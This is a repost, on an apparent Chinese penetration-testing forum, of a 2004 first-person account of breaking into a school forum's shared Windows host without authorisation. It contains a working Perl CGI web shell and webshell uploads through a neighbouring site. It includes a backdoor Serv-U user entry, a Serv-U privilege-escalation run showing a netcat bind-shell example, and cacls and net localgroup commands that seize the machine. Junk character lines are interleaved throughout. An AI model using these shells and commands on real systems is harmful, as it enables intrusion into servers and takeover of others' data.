中国网络渗透测试联盟
标题:
剑走偏锋——灵巧的旁注攻击
[打印本页]
作者:
admin
时间:
2012-9-15 14:11
标题:
剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
% s1 V( t- `- E8 W- f
本文作者:angel
5 E: m* c$ x, n; B N, Y* m
文章性质:原创
- N6 D9 P1 I+ {
发布日期:2004-11-09
& k) D8 r8 A7 I6 m% I: H! p0 d
注意:
y E' w$ s& a& `/ w: o! a- v) u
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
* H0 B: g. ?" h, w
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
2 Z! @; R% K# t; {( A& B; P
/ W* U/ J5 d5 `3 h4 H6 U& C+ a
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
" e. i; i0 X$ O4 `" n6 ?
( @1 I' R8 p! F1 f V, G
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
8 M! a( `: W' G
+ Z+ a: t, K. m
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
. ^) I: o' U0 {3 ?
# a: U' C: v/ l
一次看见了一个学校论坛(
http://www.school.com
),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
8 K) I. d9 ?6 f# ?8 k9 x# X% D
8 m+ [! q. ?) B/ t) ^' D2 B8 O
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有
http://whois.webhosting.info
这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
0 c: R f, w* [) \
* b& ~, a$ n# C! U* P
没有目的的跳转目录着……
; D5 b f( w+ _- a% I C5 f" J
4 W- n G9 Y; ?7 f; f5 `4 N
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
6 B* u2 R. U& b& G
1 E( q& e4 f' w$ m% y
结束了吗?不,我试着 FTP 一下:
3 L* h U* [- ~
% o# M$ i7 A- h9 l% |' N n# q
Microsoft Windows 2000 [Version 5.00.2195]
# v! W: q" z2 o! c+ x B
(C) 版权所有 1985-2000 Microsoft Corp.
K: @' F* L: o5 |3 X9 ~) K
* h: k! j9 e5 j, R
C:\Documents and Settings\Administrator>ftp
www.school.com
( c5 N2 d) i' s! w, B! A/ X
Connected to www. school.com.
+ ?6 m% j, V. l
220 Welcome to FTP Server...
7 \( U) V$ p/ K# [' o* d4 y
User (
www.bjtrq.com:
(none)):
e' z" i0 ~' d8 ] m' Z% r
331 User name okay, need password.
2 R8 g) b' P2 Q# R, f
Password:
1 m0 s. a5 ^. L: f7 O" Z' |
530 Not logged in.
% r) j. c& B" v# F+ n2 T! n; E
Login failed.
- q0 w) N& O& X. s0 O+ `
ftp> bye
4 Q3 m" t- y/ E' O7 x4 J
221 Goodbye!
7 A) P |9 ]3 D6 `6 S; H. d0 B
! l7 [- J' P1 t
3 i: V7 O; @! X- U% X- _+ o
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
+ E; w/ e' N: C( e+ U1 G$ X- t- x
' c& L9 x4 e" h0 i4 X0 b
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
: [. A% R! R) A0 R7 |
1 \* U* \+ m2 ]* J* n& ~& x+ \
Application Data
; B: h+ _" d; z$ l
Documents
& P! l& N3 V) z: T* N8 A; u& S* M
DRM
E- N5 |1 S! V. r! V& F
Favorites
+ D# @/ D% j/ E# t- P
Templates
0 s) ~ Q/ H6 M; g! l
「开始」菜单
( Y6 B% F; p3 g* K
桌面
& U# }% Q& r0 L
' \2 v) X4 `1 v0 s, D
4 W4 Q2 f( u- w5 s) Z
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
' Y9 o) F: j6 W, s
% c! M9 @+ Z. l5 L9 q
ActiveState ActivePerl 5.8
* y7 e1 M2 J% D( T9 c. U5 r# b
Administrative Tools
0 \% H- c0 v/ w5 m0 u6 D. L
Deerfield.com
+ S t- ?# ~5 g/ t) R
DTemp
$ k$ o! ~0 n3 ~. t+ f3 c
IPSentry
% X+ D& z; z) {
MBM 5
- i* p( P" x& q+ w l0 {% @+ {
NetMeter
+ t% e0 P1 l4 c* [# h
Network ICE
7 c- w- A9 s. ^( X) l, v) Y
Persits Software AspEmail
% q' @. V; U8 v3 e3 B2 H: D
Persits Software AspJpeg
9 @' R9 r* d0 k F; k5 v
Serv-U FTP Server
2 d+ [8 Y5 _" l4 l9 p3 A- M/ Q
Symantec Client Security
6 S B- x+ S3 O
Windows 优化大师
: u* a, x5 }3 K7 R# m" E: z
WinRAR
' Q; m; y) |" ~
启动
2 a! B$ W( x& ^; X
管理工具
0 V4 Q! S; B9 U# C7 |$ t' Y% H! k5 z
附件
4 b+ b+ |4 u' X: @ p' m H
4 U# P5 D4 X: r& r' y7 f
# h( |6 b: _% t: {1 _( {
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
' _8 f# r: n4 r: D( v
/ q' _! ]8 |1 L' |; U" h8 H
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
0 i% \# o. X+ d. |0 C
) B3 m3 B) {* y0 O8 N0 l- |" T2 y
User281=angel|1|0
/ c* }+ r$ a$ `) Y' m2 h
8 A, p2 j3 w5 i
! j3 }# ~% o) i1 c$ ]' u8 r% H7 H
然后加上
0 U, S" b7 K# {0 |+ v& `8 Z0 H% S6 t! S
3 _$ X! Z6 {; R" I4 l2 X
[USER=angel|1]
' Z2 P3 h, S3 g1 ^
Password=ng98F85379EA68DBF97BAADCA99B69B805
' k" H q6 f) Z/ m0 \! R; d9 Q! x# u
HomeDir=D:\websites
0 ^, }! V/ D/ p7 m0 U
RelPaths=1
0 p8 u9 n; W% U8 i; P$ Q
TimeOut=600
0 Q1 w9 G* E) I" b
Maintenance=System
/ x4 F! D) P; H2 C
Access1=D:\websites|RWAMELCDP
$ V8 r: I4 `+ E& y! _ B
SKEYValues=
- n& W/ r" X- l3 j* H
% N. Y7 l# R' e3 X7 O
; z" \* Z- ?( [1 V0 C/ a$ M$ x3 W
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
8 P; @2 g: m( m+ s5 m. a2 Q
7 `( ^3 ?: y1 v8 B; @
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
, f. h7 E+ `" R+ S4 U5 M4 p
4 b. {3 W9 E' i9 l$ L) E
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
/ f5 f3 } \. _/ G, [- H
1 B F+ l0 T: M: y! n
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
3 }. t+ h0 Q, n0 y# p
! t: V( d; i% P
#!/usr/bin/perl
- R. k' v2 `6 n; J h) j# j
binmode(STDOUT);
# n' p2 b: J x: J! c
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
' C( e3 [4 ]1 O' O m
$_ = $ENV{QUERY_STRING};
" I+ |/ F1 ] H/ Z6 J' X
s/%20/ /ig;
, j+ C5 t8 f M$ K0 ?
s/%2f/\//ig;
) q& _, O7 A" _8 z) u2 q
$execthis = $_;
# i6 C3 [: ~% D# c
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
4 D4 e) e. i8 Q+ S
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
0 Q# b7 C) t" I) @
system($execthis);
! d+ M/ z/ e! S9 B4 Y" m) A% }$ d8 Y' ~( K
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
9 O% Y; Y/ M7 U0 {! w# r
close(STDERR);
1 S2 O* ^$ `; k3 n: K4 Q
close(STDOUT);
* }4 x% z/ R! H( ~5 A l
exit;
; G, G$ l: r% P! A6 D8 j
( Z; F6 A" O1 I8 I' p% z- r; I
- I1 X( ]! _0 v/ ]/ p' x- K* j& i
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
1 F( b$ R3 p% Y' a* Y) b- s8 M
5 e* m1 D, g; D7 e
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
- O/ X6 ~: I5 W; s0 u; m7 r4 o
) b0 Y) T3 x- S: ^/ l! A
http://anyhost//cmd.pl?d:\user\bin\su.exe
: P* [' q2 w" ], S
% K. k2 C$ E4 X* h# z
" _3 e z% Y' A5 Z1 h0 I3 N4 \
返回:
, V- o& ?& ?: l
/ p( H/ K) [ g$ f8 m% f7 B
Serv-u >3.x Local Exploit by xiaolu
) G% g9 c, D* I
1 l* p6 P1 G) o& M/ q7 s! |0 Y: y
USAGE: serv-u.exe "command"
2 ]8 ?) n6 q) @% n1 ~5 C5 M
4 r6 B/ f: E* P/ e- B1 c$ _
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
" T' I1 e8 {$ [+ C
2 v8 E( \# v% t$ G
5 r/ G7 k$ `5 f4 ~% V) k. Z8 @
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
8 Q0 t8 r8 s: S6 V* L- F
7 b/ L' K$ x$ _' H( D, B0 k3 T7 q$ `+ @
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
9 _5 O4 g' a7 U( J* M* l* s
- D* t) f8 [* v( w/ P& @/ X" c4 u
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
% S, ^$ M8 E; z6 |3 q2 P# g; h
5 x( `) K1 w/ k7 `
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
/ j8 P8 b( u! O8 d1 Q
% C/ G2 l* X2 S3 e
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
5 O) k4 }8 ?4 f% S
0 C& @, Y! M6 P; i7 H: ^
6 k# y2 [- e) i. M2 [
返回下面的信息,就表示成功了!!!
' V, u' `4 K/ u6 I. g" ^, e# N
( e7 g0 r+ ^" d9 P1 V
Serv-u >3.x Local Exploit by xiaolu
5 e# \: _" {+ V3 h8 G- D% s6 K
+ V7 R6 I4 x& ]" M. {+ J
<220 Serv-U FTP Server v5.2 for WinSock ready...
. S8 K& e3 [; j) l3 K
: }% N3 `% M2 S( }
>USER LocalAdministrator
& H9 @; `/ d; \: O
3 W( V5 i( x5 k7 d7 B* x* N$ `" T
<331 User name okay, need password.
, f0 y/ p: l$ }- t2 M$ @
4 K5 _6 e2 S6 K- E* [
******************************************************
7 h3 L4 {5 d1 [ o2 W& l2 i
; R' X5 J( t) W9 v4 W" C# L
>PASS #l@$ak#.lk;0@P
$ c8 G/ Z# |. D$ T5 `( J/ I- L
! e7 E) u% q% I7 ]/ h' Z! P
<230 User logged in, proceed.
" I/ y Q R( {0 I7 J5 q
4 h' s7 W3 l @5 T& w
******************************************************
7 D: J# e/ a% g
/ \0 r' l R7 B: z3 M# D3 o, h
>SITE MAINTENANCE
+ w. `! K% Z) t( [0 C+ @
( {# w+ B1 Z$ U" s
******************************************************
- Q A! T1 G) C+ ?" u
# x1 s( W9 D5 n
[+] Creating New Domain...
: E; z* I6 r, N8 Y9 P* o
4 _$ o# I4 O% J& ]5 W! d
<200-DomainID=2
% `5 r; \5 d! p
; j6 p( B- c3 {- ?1 D: x
<220 Domain settings saved
9 K8 C: {3 W% H$ C- Y' S* @
2 N l m* K$ H
******************************************************
- E2 b/ |& Z1 v8 o Q- F5 v
& ^9 D5 ]+ R. ` O) _$ A- g' n
[+] Domain xl:2 Created
4 x# H z% g9 }+ x% \9 D8 I4 P# N
: p" b3 n( n3 M( g% W
[+] Creating Evil User
4 B/ V; j2 h0 r8 k# A
+ r' C+ _; g" [; \
<200-User=xl
, u5 W, O1 Z. J" v' s. b1 x: ~" {
! L0 s3 b1 {% o% m r2 R; n
200 User settings saved
7 t: H& x- ^9 M/ Q
! M) ^3 j% R7 M
******************************************************
2 Z2 l) d8 N9 D
) Z- q- X$ w+ H# t
[+] Now Exploiting...
& o# b* D, F4 ?9 E" S
4 X- l5 x& H+ x! w5 v, ^, X
>USER xl
+ Q) e1 M' Z4 ~7 H) `$ [) h# Q: @
% l$ {( D+ F& V
<331 User name okay, need password.
% S+ y7 C+ k' u" A T
* _1 q6 S6 v" Y* `) r5 @1 g+ w
******************************************************
4 y2 R% `9 a7 N/ t: b0 L$ \7 Y
; z5 S4 g# B. z2 A2 O
>PASS 111111
- e- ]. H5 G# q" T
& f% n8 S+ C) A
<230 User logged in, proceed.
S( P7 m4 ^1 U
% |2 B5 U R2 {/ q
******************************************************
6 `: i e' A6 n( W# A3 E* X$ W
/ L5 o9 y& \* t* s! w- D
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
2 x' h. e' O; j
8 o7 D$ d$ g' B x1 ?
<220 Domain deleted
: a/ C& o: ^. m1 i5 a# ^# j+ _
8 I7 o$ ~( n& `$ M# d' A" Z1 {
******************************************************
* L# S. I2 l2 P- n* g% S3 m
. E) G/ I0 |0 A g
, L- Z& a2 o3 y5 q7 A# Y
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
6 p- A& u% k% D. c0 V/ Q
& a% H+ v* E' F. w7 C' k9 ?
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
4 S! w @0 X" A, E0 f' |
' i% P9 s5 g& \) f& b9 r6 ]# q
E# h1 D c0 ?" W) R
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
. d! E6 E6 _/ E" m1 @; X) P
! G- G& g4 V2 Z, G0 ]1 c* P ?
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
7 R) o+ D) d1 @- q7 H; K$ d$ u
0 `( r$ ^% b3 q+ u1 F' V0 O: c N9 y
! m. [2 j8 q# H0 y/ h
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2